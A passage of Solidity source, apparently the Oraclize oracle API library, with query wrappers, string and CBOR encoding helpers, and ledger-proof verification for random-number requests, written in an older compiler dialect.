if(address(oraclize) != OAR.getAddress())
oraclize = OraclizeI(OAR.getAddress());
_;
}
modifier coupon(string code){
oraclize = OraclizeI(OAR.getAddress());
oraclize.useCoupon(code);
_;
}
function oraclize_setNetwork(uint8 networkID) internal returns(bool){
if (getCodeSize(0x1d3B2638a7cC9f2CB3D298A3DA7a90B67E5506ed)>0){
OAR = OraclizeAddrResolverI(0x1d3B2638a7cC9f2CB3D298A3DA7a90B67E5506ed);
oraclize_setNetworkName("eth_mainnet");
return true;
}
if (getCodeSize(0xc03A2615D5efaf5F49F60B7BB6583eaec212fdf1)>0){
OAR = OraclizeAddrResolverI(0xc03A2615D5efaf5F49F60B7BB6583eaec212fdf1);
oraclize_setNetworkName("eth_ropsten3");
return true;
}
if (getCodeSize(0xB7A07BcF2Ba2f2703b24C0691b5278999C59AC7e)>0){
OAR = OraclizeAddrResolverI(0xB7A07BcF2Ba2f2703b24C0691b5278999C59AC7e);
oraclize_setNetworkName("eth_kovan");
return true;
}
if (getCodeSize(0x146500cfd35B22E4A392Fe0aDc06De1a1368Ed48)>0){
OAR = OraclizeAddrResolverI(0x146500cfd35B22E4A392Fe0aDc06De1a1368Ed48);
oraclize_setNetworkName("eth_rinkeby");
return true;
}
if (getCodeSize(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475)>0){
OAR = OraclizeAddrResolverI(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475);
return true;
}
if (getCodeSize(0x20e12A1F859B3FeaE5Fb2A0A32C18F5a65555bBF)>0){
OAR = OraclizeAddrResolverI(0x20e12A1F859B3FeaE5Fb2A0A32C18F5a65555bBF);
return true;
}
if (getCodeSize(0x51efaF4c8B3C9AfBD5aB9F4bbC82784Ab6ef8fAA)>0){
OAR = OraclizeAddrResolverI(0x51efaF4c8B3C9AfBD5aB9F4bbC82784Ab6ef8fAA);
return true;
}
return false;
}
function __callback(bytes32 myid, string result) {
__callback(myid, result, new bytes(0));
}
function __callback(bytes32 myid, string result, bytes proof) {
}
function oraclize_useCoupon(string code) oraclizeAPI internal {
oraclize.useCoupon(code);
}
function oraclize_getPrice(string datasource) oraclizeAPI internal returns (uint){
return oraclize.getPrice(datasource);
}
function oraclize_getPrice(string datasource, uint gaslimit) oraclizeAPI internal returns (uint){
return oraclize.getPrice(datasource, gaslimit);
}
function oraclize_query(string datasource, string arg) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query.value(price)(0, datasource, arg);
}
function oraclize_query(uint timestamp, string datasource, string arg) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query.value(price)(timestamp, datasource, arg);
}
function oraclize_query(uint timestamp, string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query_withGasLimit.value(price)(timestamp, datasource, arg, gaslimit);
}
function oraclize_query(string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query_withGasLimit.value(price)(0, datasource, arg, gaslimit);
}
function oraclize_query(string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query2.value(price)(0, datasource, arg1, arg2);
}
function oraclize_query(uint timestamp, string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query2.value(price)(timestamp, datasource, arg1, arg2);
}
function oraclize_query(uint timestamp, string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query2_withGasLimit.value(price)(timestamp, datasource, arg1, arg2, gaslimit);
}
function oraclize_query(string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query2_withGasLimit.value(price)(0, datasource, arg1, arg2, gaslimit);
}
function oraclize_query(string datasource, string[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN.value(price)(0, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, string[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN.value(price)(timestamp, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, string[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(timestamp, datasource, args, gaslimit);
}
function oraclize_query(string datasource, string[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(0, datasource, args, gaslimit);
}
function oraclize_query(string datasource, string[1] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[1] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[2] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[2] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[3] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[3] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[4] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[4] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[5] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[5] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN.value(price)(0, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, bytes[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN.value(price)(timestamp, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, bytes[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(timestamp, datasource, args, gaslimit);
}
function oraclize_query(string datasource, bytes[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(0, datasource, args, gaslimit);
}
function oraclize_query(string datasource, bytes[1] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[1] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[2] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[2] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[3] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[3] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[4] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[4] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[5] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[5] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_cbAddress() oraclizeAPI internal returns (address){
return oraclize.cbAddress();
}
function oraclize_setProof(byte proofP) oraclizeAPI internal {
return oraclize.setProofType(proofP);
}
function oraclize_setCustomGasPrice(uint gasPrice) oraclizeAPI internal {
return oraclize.setCustomGasPrice(gasPrice);
}
function oraclize_setConfig(bytes32 config) oraclizeAPI internal {
return oraclize.setConfig(config);
}
function oraclize_randomDS_getSessionPubKeyHash() oraclizeAPI internal returns (bytes32){
return oraclize.randomDS_getSessionPubKeyHash();
}
function getCodeSize(address _addr) constant internal returns(uint _size) {
assembly {
_size := extcodesize(_addr)
}
}
function parseAddr(string _a) internal returns (address){
bytes memory tmp = bytes(_a);
uint160 iaddr = 0;
uint160 b1;
uint160 b2;
for (uint i=2; i<2+2*20; i+=2){
iaddr *= 256;
b1 = uint160(tmp[i]);
b2 = uint160(tmp[i+1]);
if ((b1 >= 97)&&(b1 <= 102)) b1 -= 87;
else if ((b1 >= 65)&&(b1 <= 70)) b1 -= 55;
else if ((b1 >= 48)&&(b1 <= 57)) b1 -= 48;
if ((b2 >= 97)&&(b2 <= 102)) b2 -= 87;
else if ((b2 >= 65)&&(b2 <= 70)) b2 -= 55;
else if ((b2 >= 48)&&(b2 <= 57)) b2 -= 48;
iaddr += (b1*16+b2);
}
return address(iaddr);
}
function strCompare(string _a, string _b) internal returns (int) {
bytes memory a = bytes(_a);
bytes memory b = bytes(_b);
uint minLength = a.length;
if (b.length < minLength) minLength = b.length;
for (uint i = 0; i < minLength; i ++)
if (a[i] < b[i])
return -1;
else if (a[i] > b[i])
return 1;
if (a.length < b.length)
return -1;
else if (a.length > b.length)
return 1;
else
return 0;
}
function indexOf(string _haystack, string _needle) internal returns (int) {
bytes memory h = bytes(_haystack);
bytes memory n = bytes(_needle);
if(h.length < 1 || n.length < 1 || (n.length > h.length))
return -1;
else if(h.length > (2**128 -1))
return -1;
else
{
uint subindex = 0;
for (uint i = 0; i < h.length; i ++)
{
if (h[i] == n[0])
{
subindex = 1;
while(subindex < n.length && (i + subindex) < h.length && h[i + subindex] == n[subindex])
{
subindex++;
}
if(subindex == n.length)
return int(i);
}
}
return -1;
}
}
function strConcat(string _a, string _b, string _c, string _d, string _e) internal returns (string) {
bytes memory _ba = bytes(_a);
bytes memory _bb = bytes(_b);
bytes memory _bc = bytes(_c);
bytes memory _bd = bytes(_d);
bytes memory _be = bytes(_e);
string memory abcde = new string(_ba.length + _bb.length + _bc.length + _bd.length + _be.length);
bytes memory babcde = bytes(abcde);
uint k = 0;
for (uint i = 0; i < _ba.length; i++) babcde[k++] = _ba[i];
for (i = 0; i < _bb.length; i++) babcde[k++] = _bb[i];
for (i = 0; i < _bc.length; i++) babcde[k++] = _bc[i];
for (i = 0; i < _bd.length; i++) babcde[k++] = _bd[i];
for (i = 0; i < _be.length; i++) babcde[k++] = _be[i];
return string(babcde);
}
function strConcat(string _a, string _b, string _c, string _d) internal returns (string) {
return strConcat(_a, _b, _c, _d, "");
}
function strConcat(string _a, string _b, string _c) internal returns (string) {
return strConcat(_a, _b, _c, "", "");
}
function strConcat(string _a, string _b) internal returns (string) {
return strConcat(_a, _b, "", "", "");
}
function strConcat(string _a, string _b, string _c, string _d, string _e, string _f, string _g) internal returns (string){
return strConcat(strConcat(_a, _b), strConcat(_c, _d, _e, _f, _g));
}
function parseInt(string _a) internal returns (uint) {
return parseInt(_a, 0);
}
function parseInt(string _a, uint _b) internal returns (uint) {
bytes memory bresult = bytes(_a);
uint mint = 0;
bool decimals = false;
for (uint i=0; i<bresult.length; i++){
if ((bresult[i] >= 48)&&(bresult[i] <= 57)){
if (decimals){
if (_b == 0) break;
else _b--;
}
mint *= 10;
mint += uint(bresult[i]) - 48;
} else if (bresult[i] == 46) decimals = true;
}
if (_b > 0) mint *= 10**_b;
return mint;
}
function uint2str(uint i) internal returns (string){
if (i == 0) return "0";
uint j = i;
uint len;
while (j != 0){
len++;
j /= 10;
}
bytes memory bstr = new bytes(len);
uint k = len - 1;
while (i != 0){
bstr[k--] = byte(48 + i % 10);
i /= 10;
}
return string(bstr);
}
function stra2cbor(string[] arr) internal returns (bytes) {
uint arrlen = arr.length;
uint outputlen = 0;
bytes[] memory elemArray = new bytes[](arrlen);
for (uint i = 0; i < arrlen; i++) {
elemArray[i] = (bytes(arr[i]));
outputlen += elemArray[i].length + (elemArray[i].length - 1)/23 + 3;
}
uint ctr = 0;
uint cborlen = arrlen + 0x80;
outputlen += byte(cborlen).length;
bytes memory res = new bytes(outputlen);
while (byte(cborlen).length > ctr) {
res[ctr] = byte(cborlen)[ctr];
ctr++;
}
for (i = 0; i < arrlen; i++) {
res[ctr] = 0x5F;
ctr++;
for (uint x = 0; x < elemArray[i].length; x++) {
if (x % 23 == 0) {
uint elemcborlen = elemArray[i].length - x >= 24 ? 23 : elemArray[i].length - x;
elemcborlen += 0x40;
uint lctr = ctr;
while (byte(elemcborlen).length > ctr - lctr) {
res[ctr] = byte(elemcborlen)[ctr - lctr];
ctr++;
}
}
res[ctr] = elemArray[i][x];
ctr++;
}
res[ctr] = 0xFF;
ctr++;
}
return res;
}
function ba2cbor(bytes[] arr) internal returns (bytes) {
uint arrlen = arr.length;
uint outputlen = 0;
bytes[] memory elemArray = new bytes[](arrlen);
for (uint i = 0; i < arrlen; i++) {
elemArray[i] = (bytes(arr[i]));
outputlen += elemArray[i].length + (elemArray[i].length - 1)/23 + 3;
}
uint ctr = 0;
uint cborlen = arrlen + 0x80;
outputlen += byte(cborlen).length;
bytes memory res = new bytes(outputlen);
while (byte(cborlen).length > ctr) {
res[ctr] = byte(cborlen)[ctr];
ctr++;
}
for (i = 0; i < arrlen; i++) {
res[ctr] = 0x5F;
ctr++;
for (uint x = 0; x < elemArray[i].length; x++) {
if (x % 23 == 0) {
uint elemcborlen = elemArray[i].length - x >= 24 ? 23 : elemArray[i].length - x;
elemcborlen += 0x40;
uint lctr = ctr;
while (byte(elemcborlen).length > ctr - lctr) {
res[ctr] = byte(elemcborlen)[ctr - lctr];
ctr++;
}
}
res[ctr] = elemArray[i][x];
ctr++;
}
res[ctr] = 0xFF;
ctr++;
}
return res;
}
string oraclize_network_name;
function oraclize_setNetworkName(string _network_name) internal {
oraclize_network_name = _network_name;
}
function oraclize_getNetworkName() internal returns (string) {
return oraclize_network_name;
}
function oraclize_newRandomDSQuery(uint _delay, uint _nbytes, uint _customGasLimit) internal returns (bytes32){
if ((_nbytes == 0)||(_nbytes > 32)) throw;
bytes memory nbytes = new bytes(1);
nbytes[0] = byte(_nbytes);
bytes memory unonce = new bytes(32);
bytes memory sessionKeyHash = new bytes(32);
bytes32 sessionKeyHash_bytes32 = oraclize_randomDS_getSessionPubKeyHash();
assembly {
mstore(unonce, 0x20)
mstore(add(unonce, 0x20), xor(blockhash(sub(number, 1)), xor(coinbase, timestamp)))
mstore(sessionKeyHash, 0x20)
mstore(add(sessionKeyHash, 0x20), sessionKeyHash_bytes32)
}
bytes[3] memory args = [unonce, nbytes, sessionKeyHash];
bytes32 queryId = oraclize_query(_delay, "random", args, _customGasLimit);
oraclize_randomDS_setCommitment(queryId, sha3(bytes8(_delay), args[1], sha256(args[0]), args[2]));
return queryId;
}
function oraclize_randomDS_setCommitment(bytes32 queryId, bytes32 commitment) internal {
oraclize_randomDS_args[queryId] = commitment;
}
mapping(bytes32=>bytes32) oraclize_randomDS_args;
mapping(bytes32=>bool) oraclize_randomDS_sessionKeysHashVerified;
function verifySig(bytes32 tosignh, bytes dersig, bytes pubkey) internal returns (bool){
bool sigok;
address signer;
bytes32 sigr;
bytes32 sigs;
bytes memory sigr_ = new bytes(32);
uint offset = 4+(uint(dersig[3]) - 0x20);
sigr_ = copyBytes(dersig, offset, 32, sigr_, 0);
bytes memory sigs_ = new bytes(32);
offset += 32 + 2;
sigs_ = copyBytes(dersig, offset+(uint(dersig[offset-1]) - 0x20), 32, sigs_, 0);
assembly {
sigr := mload(add(sigr_, 32))
sigs := mload(add(sigs_, 32))
}
(sigok, signer) = safer_ecrecover(tosignh, 27, sigr, sigs);
if (address(sha3(pubkey)) == signer) return true;
else {
(sigok, signer) = safer_ecrecover(tosignh, 28, sigr, sigs);
return (address(sha3(pubkey)) == signer);
}
}
function oraclize_randomDS_proofVerify__sessionKeyValidity(bytes proof, uint sig2offset) internal returns (bool) {
bool sigok;
bytes memory sig2 = new bytes(uint(proof[sig2offset+1])+2);
copyBytes(proof, sig2offset, sig2.length, sig2, 0);
bytes memory appkey1_pubkey = new bytes(64);
copyBytes(proof, 3+1, 64, appkey1_pubkey, 0);
bytes memory tosign2 = new bytes(1+65+32);
tosign2[0] = 1;
copyBytes(proof, sig2offset-65, 65, tosign2, 1);
bytes memory CODEHASH = hex"fd94fa71bc0ba10d39d464d0d8f465efeef0a2764e3887fcc9df41ded20f505c";
copyBytes(CODEHASH, 0, 32, tosign2, 1+65);
sigok = verifySig(sha256(tosign2), sig2, appkey1_pubkey);
if (sigok == false) return false;
bytes memory LEDGERKEY = hex"7fb956469c5c9b89840d55b43537e66a98dd4811ea0a27224272c2e5622911e8537a2f8e86a46baec82864e98dd01e9ccc2f8bc5dfc9cbe5a91a290498dd96e4";
bytes memory tosign3 = new bytes(1+65);
tosign3[0] = 0xFE;
copyBytes(proof, 3, 65, tosign3, 1);
bytes memory sig3 = new bytes(uint(proof[3+65+1])+2);
copyBytes(proof, 3+65, sig3.length, sig3, 0);
sigok = verifySig(sha256(tosign3), sig3, LEDGERKEY);
return sigok;
}
modifier oraclize_randomDS_proofVerify(bytes32 _queryId, string _result, bytes _proof) {
if ((_proof[0] != "L")||(_proof[1] != "P")||(_proof[2] != 1)) throw;
bool proofVerified = oraclize_randomDS_proofVerify__main(_proof, _queryId, bytes(_result), oraclize_getNetworkName());
if (proofVerified == false) throw;
_;
}
function oraclize_randomDS_proofVerify__returnCode(bytes32 _queryId, string _result, bytes _proof) internal returns (uint8){
if ((_proof[0] != "L")||(_proof[1] != "P")||(_proof[2] != 1)) return 1;
bool proofVerified = oraclize_randomDS_proofVerify__main(_proof, _queryId, bytes(_result), oraclize_getNetworkName());
if (proofVerified == false) return 2;
return 0;
}
function matchBytes32Prefix(bytes32 content, bytes prefix) internal returns (bool){
bool match_ = true;
for (var i=0; i<prefix.length; i++){
if (content[i] != prefix[i]) match_ = false;
}
return match_;
}
function oraclize_randomDS_proofVerify__main(bytes proof, bytes32 queryId, bytes result, string context_name) internal returns (bool){
bool checkok;
uint ledgerProofLength = 3+65+(uint(proof[3+65+1])+2)+32;
bytes memory keyhash = new bytes(32);
copyBytes(proof, ledgerProofLength, 32, keyhash, 0);
checkok = (sha3(keyhash) == sha3(sha256(context_name, queryId)));
if (checkok == false) return false;
bytes memory sig1 = new bytes(uint(proof[ledgerProofLength+(32+8+1+32)+1])+2);
copyBytes(proof, ledgerProofLength+(32+8+1+32), sig1.length, sig1, 0);
checkok = matchBytes32Prefix(sha256(sig1), result);
if (checkok == false) return false;
bytes memory commitmentSlice1 = new bytes(8+1+32);
copyBytes(proof, ledgerProofLength+32, 8+1+32, commitmentSlice1, 0);
bytes memory sessionPubkey = new bytes(64);
uint sig2offset = ledgerProofLength+32+(8+1+32)+sig1.length+65;
copyBytes(proof, sig2offset-64, 64, sessionPubkey, 0);
bytes32 sessionPubkeyHash = sha256(sessionPubkey);
if (oraclize_randomDS_args[queryId] == sha3(commitmentSlice1, sessionPubkeyHash)){
delete oraclize_randomDS_args[queryId];
} else return false;
bytes memory tosign1 = new bytes(32+8+1+32);
copyBytes(proof, ledgerProofLength, 32+8+1+32, tosign1, 0);
checkok = verifySig(sha256(tosign1), sig1, sessionPubkey);
if (checkok == false) return false;
if (oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash] == false){
oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash] = oraclize_randomDS_proofVerify__sessionKeyValidity(proof, sig2offset);
}
return oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash];
}
function copyBytes(bytes from, uint fromOffset, uint length, bytes to, uint toOffset) internal returns (bytes) {
uint minLength = length + toOffset;
if (to.length < minLength) {
throw;
}
uint i = 32 + fromOffset;
uint j = 32 + toOffset;
while (i < (32 + fromOffset + length)) {
assembly {
let tmp := mload(add(from, i))
mstore(add(to, j), tmp)
}
i += 32;
j += 32;
}
return to;
}
